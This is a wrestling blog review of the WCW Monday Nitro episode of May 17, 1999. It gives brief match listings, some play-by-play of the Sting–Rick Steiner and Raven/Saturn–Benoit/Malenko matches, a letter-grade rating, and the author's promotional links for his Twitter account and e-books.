This is the point where I was watching the shows live so the ratings are going to be closer.
http://kbwrestlingreviews.com/2012/10/10/bound-for-glory-2012-im-still-not-sure-if-this-makes-sense/
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
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And check out my Amazon author page with wrestling books for under $4 at:
Monday Nitro – May 17, 1999: Save Us Raven!
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Nitro #188
Date: May 17, 1999
Location: Five Seasons Center, Cedar Rapids, Iowa
Commentators: Bobby Heenan, Tony Schiavone
DJ Ran.
We get a video on Kevin Nash challenging Bret Hart for a match on the Tonight Show. Meaning a ring would be set up in the Tonight Show studio and the match will air on NBC one night at 11:30.
More Eric, this time talking about him not being sure if he had authority at Slamboree, but knowing it was the right thing. Nick Patrick was right too.
Piper and Bischoff arrive.
Tenay is now on commentary.
Bret Hart will be on the Tonight Show tomorrow night to respond to Nash. However, he will NOT be on WCW TV anytime soon.
Clips of Gorgeous George vs. Charles Robinson.
Cruiserweight Title: Rey Mysterio Jr. vs. Evan Karagias
David Flair vs. Sgt. Buddy Lee Parker
Charles Robinson/Ric Flair vs. Gorgeous George/Randy Savage
Charles Robinson/Ric Flair vs. Madusa/Randy Savage
DJ Ran.
5. Flair thinks Hilary Clinton is the Phantom Menace.
8. He made Dr. Kevorkian want to commit suicide.
Piper tells Savage to wait his turn so George hits him with the crutch and Savage piledrives him. Savage slams Bischoff and loads up the big elbow but Nash comes out to break it up. Randy throws out a challenge to Nash and thinks Nash should just hand the belt over. Nash implies that the girls are hookers and says handing the belt over before was a political move. He accepts the challenge for a title match at some point in the future.
Clips from the three main events at Slamboree.
Hardcore Hak vs. Fit Finlay
TV Title: Booker T. vs. Rick Steiner
TV Title: Rick Steiner vs. Sting
Sting does his bulldog but misses the Stinger Splash. Rick pounds on him in the corner and on the mat but Sting just pops up. They fight to the floor, only to have Sting get sent into the post. The floor mats are peeled back and Rick loads up a suplex onto the concrete. As is almost always the case, Sting reverses to prevent a probably concussion and chokes Rick with the TV cable. They head back inside where Sting hammers away with clotheslines until Scott Steiner comes out to yell at Sting. Cue Lex Luger to save his buddy as the match is thrown out with no one actually interfering.
Rating: D-. This was much more of a brawl than a match but somehow this might have been the most entertaining thing all night. Why we need to set up Rick Steiner vs. Sting and old guys vs. old guys is something only WCW could answer, but hopefully Booker gets to do something interesting soon.
Konnan vs. Curt Hennig
Tag Team Titles: Raven/Saturn vs. Chris Benoit/Dean Malenko
Raven and Saturn are defending and have Kanyon with them. Dean and Saturn feel each other out to start until Malenko is sent out to the floor and Saturn superkicks an invading Benoit down. A big dive takes Chris out again and Malenko gets caught by something like Total Elimination but with a clothesline instead of a kick to the face. Back to Benoit who slugs it out with Raven, who actually gets the better of it. He puts Benoit on his shoulders for a cross body from Saturn for two as the fans are finally into something tonight.
Back from a break with Dean leg lariating Raven but getting rolled up for two. Benoit gets two off a snap suplex before hammering away in the corner. Raven just crawls over and makes the tag to Malenko as the announcers talk about the Steiners vs. Luger/Sting. Heaven forbid they talk about the Tag Team Title match right in front of them. Saturn gets sent to the floor for a brawl with Malenko but has to sidestep a baseball slide, sending it right into Dean instead.
We follow the champions all the way to the back where Bam Bam Bigelow is watching. He and Kanyon jaw a bit.
WCW World Title: Diamond Dallas Page vs. Kevin Nash
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
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